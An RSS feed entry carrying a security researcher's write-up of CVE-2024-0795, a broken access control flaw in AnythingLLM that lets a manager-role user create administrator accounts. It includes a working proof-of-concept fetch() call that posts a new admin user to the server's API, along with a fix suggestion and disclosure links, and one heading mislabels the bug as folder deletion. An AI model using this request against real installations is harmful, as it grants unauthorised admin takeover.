<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>broken access on Raltheo</title>
        <link>https://raltheo.fr/tags/broken-access/</link>
        <description>Recent content in broken access on Raltheo</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sat, 02 Mar 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://raltheo.fr/tags/broken-access/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>CVE-2024-0795 - Improper acces control / admin account takeover</title>
        <link>https://raltheo.fr/p/cve-2024-0795/</link>
        <pubDate>Sat, 02 Mar 2024 00:00:00 +0000</pubDate>
        
        <guid>https://raltheo.fr/p/cve-2024-0795/</guid>
        <description>&lt;img src="https://raltheo.fr/p/cve-2024-0795/wordmark.png" alt="Featured image of post CVE-2024-0795 - Improper acces control / admin account takeover" /&gt;&lt;h1 id=&#34;improper-input-validation-leads-to-arbitrary-folder-deletion-recursively&#34;&gt;Improper input validation leads to arbitrary folder deletion (recursively)&lt;/h1&gt;
&lt;h2 id=&#34;-requirements&#34;&gt;🔒️ Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Multi-user mode activated&lt;/li&gt;
&lt;li&gt;Be manager&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-observation&#34;&gt;👀 Observation&lt;/h2&gt;
&lt;p&gt;We can see in the ui the manager account cannot create / add / modify admin account however the protection is not present in the server.&lt;/p&gt;
&lt;h2 id=&#34;-proof-of-concept&#34;&gt;💥 Proof of Concept&lt;/h2&gt;
&lt;p&gt;Here is the actual users :&lt;br&gt;
&lt;img src=&#34;https://i.ibb.co/qkYCWnX/image.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;image&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I will use raltheo2 account.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I open chrome dev tools&lt;/li&gt;
&lt;li&gt;Inside the console I put :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;fetch&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;/api/admin/users/new&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;headers&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Authorization&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;sb&#34;&gt;`Bearer &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;localStorage&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;anythingllm_authToken&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;},&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;JSON&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;stringify&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;({&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;supadmin9&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;password&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;role&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;})})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;https://i.ibb.co/KD8sk5X/image.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;image&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;This will create an administrator account named &lt;code&gt;supadmin9&lt;/code&gt; with password &lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.ibb.co/3fGtvF8/image.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;image&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now login into your new admin account :)&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;-fix-suggestion&#34;&gt;🛠️ Fix suggestion&lt;/h2&gt;
&lt;p&gt;Separation should be made between admin and manager in server side as in the frontend.&lt;/p&gt;
&lt;h2 id=&#34;-références&#34;&gt;🖊️ références&lt;/h2&gt;
&lt;p&gt;You can find the report &lt;a class=&#34;link&#34; href=&#34;https://huntr.com/bounties/f69e3307-7b44-4776-ac60-2990990723ec/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;here&lt;/a&gt; and the CVE details &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2024-0795&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;here&lt;/a&gt;.&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
